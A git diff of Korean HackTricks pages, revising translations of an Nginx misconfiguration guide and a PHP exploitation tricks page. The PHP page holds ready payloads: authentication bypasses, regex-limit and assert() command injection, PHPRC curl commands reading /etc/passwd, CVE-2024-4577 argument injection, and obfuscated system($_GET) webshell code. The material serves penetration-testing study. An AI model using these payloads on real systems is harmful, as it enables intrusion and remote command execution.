* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): 이름에서 알 수 있듯이, 이 지시어는 클라이언트로부터 지정된 HTTP 헤더를 숨겨 개인 정보 보호 및 보안을 강화합니다.
|
||||
|
||||
유효한 `GET` 요청이 이루어지면 Nginx는 이를 정상적으로 처리하여 비밀 헤더를 노출하지 않고 표준 오류 응답을 반환합니다. 그러나 유효하지 않은 HTTP 요청은 이 메커니즘을 우회하여 비밀 헤더와 오류 메시지를 포함한 원시 백엔드 응답이 노출됩니다.
|
||||
|
@ -189,7 +189,7 @@ proxy_hide_header Secret-Header;
|
|||
|
||||
### **Maclicious Response Headers**
|
||||
|
||||
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경합니다. 이들을 [**문서에서 확인**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)할 수 있습니다:
|
||||
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경할 수 있습니다. 이들에 대한 정보는 [**문서에서 확인할 수 있습니다**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Nginx가 요청을 지정된 위치로 내부 리디렉션하도록 지시합니다.
|
||||
* `X-Accel-Buffering`: Nginx가 응답을 버퍼링할지 여부를 제어합니다.
|
||||
|
@ -234,7 +234,7 @@ resolver 8.8.8.8;
|
|||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우, [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md)을 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
|
||||
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우 [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md)를 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 취약점은 공격자가 **`proxy_pass` 엔드포인트와 직접 연결을 설정할 수 있게 합니다** (`http://backend:9999`의 경우) 이 콘텐츠는 nginx에 의해 확인되지 않습니다.
|
||||
|
@ -261,12 +261,12 @@ deny all;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
`proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.**
|
||||
`proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **해당 내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.**
|
||||
{% endhint %}
|
||||
|
||||
## 직접 해보세요
|
||||
|
||||
Detectify는 Docker를 사용하여 이 기사에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 설정하고 직접 찾아볼 수 있는 GitHub 리포지토리를 만들었습니다!
|
||||
Detectify는 Docker를 사용하여 이 기사에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 설정할 수 있는 GitHub 리포지토리를 만들었습니다. 직접 찾아보세요!
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
@ -288,9 +288,9 @@ Nginxpwner는 일반적인 Nginx 잘못된 구성 및 취약점을 찾기 위한
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 느슨한 비교/타입 조작 ( == )
|
||||
|
||||
`==`가 PHP에서 사용되면, 비교가 예상과 다르게 동작하는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지도 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
PHP에서 `==`를 사용하면 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -52,10 +52,10 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식으로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
|
||||
|
||||
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
|
||||
|
@ -72,7 +72,7 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 경우 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다(`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 경우, 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
|
@ -112,7 +112,7 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
여기에서 예제를 찾으세요: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **길이 오류 우회**
|
||||
|
||||
|
@ -129,13 +129,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
|
||||
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확해졌습니다:\
|
||||
**정규 표현식이 100\_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
|
||||
|
||||
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1\_000\_000 (1M)입니다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전진 및 500k 후진):
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -152,7 +152,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
||||
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후에 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -172,15 +172,15 @@ readfile($page);
|
|||
|
||||
## 더 많은 트릭
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다.**\
|
||||
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234", **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우**, 한 경로가 다른 경로 쿠키의 값을 설정하여 **쿠키에 접근하게 만들 수 있습니다.**\
|
||||
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우**, **path1의 그 변수의 값이 path2에 적용되도록 만들 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).
|
||||
* **사용자의 사용자 이름**이 있는 경우, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
|
||||
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
이 함수는 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
|
||||
지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD\_DEFAULT는 자주 PASSWORD\_BCRYPT와 동일합니다.** 현재 **PASSWORD\_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
|
@ -195,7 +195,7 @@ True
|
|||
|
||||
[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 파라미터, 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면 PHP가 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.
|
||||
|
||||
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있게 합니다:
|
||||
예를 들어 CSP 헤더가 설정된 코드에서 우회를 허용합니다:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -203,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### 헤더를 설정하기 전에 본문 채우기
|
||||
|
||||
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때 오류를 발생시키도록 충분히 긴 콘텐츠를 출력하게 할 수 있습니다.**\
|
||||
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때** 오류를 발생시키도록 **충분히 긴 콘텐츠**를 출력하게 할 수 있습니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
@ -242,7 +242,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
### **Assert()를 통한 RCE**
|
||||
|
||||
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
|
||||
이 php 내의 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻기 위해 다음과 같이 할 수 있습니다:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
|
@ -295,21 +295,21 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
|||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다 (이 경우에는 작동하지 않을 수 있습니다).
|
||||
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하세요. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가하세요. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
|
||||
1. 쉘코드를 포함한 PHP 파일을 업로드합니다.
|
||||
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함한 두 번째 파일을 업로드합니다.
|
||||
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가하십시오. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
|
||||
1. 우리의 쉘코드를 포함하는 PHP 파일을 업로드합니다.
|
||||
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
|
||||
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
|
||||
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요.
|
||||
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오.
|
||||
* **PHPRC** - 또 다른 옵션
|
||||
* 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
|
||||
* 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**로 파일을 전처리합니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* 기술 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서.
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:
|
||||
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
|
@ -330,14 +330,14 @@ phpinfo();
|
|||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성할 수 있는 훌륭한 아이디어를 찾을 수 있습니다.\
|
||||
또한 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:
|
||||
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성하는 훌륭한 아이디어를 찾을 수 있습니다.\
|
||||
또한 여러 검사를 우회할 수 있는 함수를 실행하는 흥미로운 방법도 제안됩니다:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP 정적 분석
|
||||
|
||||
이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): [here](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
|
||||
이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): [여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -345,7 +345,7 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2`
|
||||
|
||||
### PHP 코드 디오브퓨세이팅
|
||||
### PHP 코드 디오브퓨스케이팅
|
||||
|
||||
You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
|
||||
|
||||
|
@ -371,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
페이지에서 **임의 클래스의 새 객체를 생성할 수 있다면** RCE를 얻을 수 있을지도 모릅니다. 방법을 배우려면 다음 페이지를 확인하세요:
|
||||
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 방법을 배우려면 다음 페이지를 확인하세요:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -430,7 +430,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Perl과 유사한
|
||||
### 펄과 유사한
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
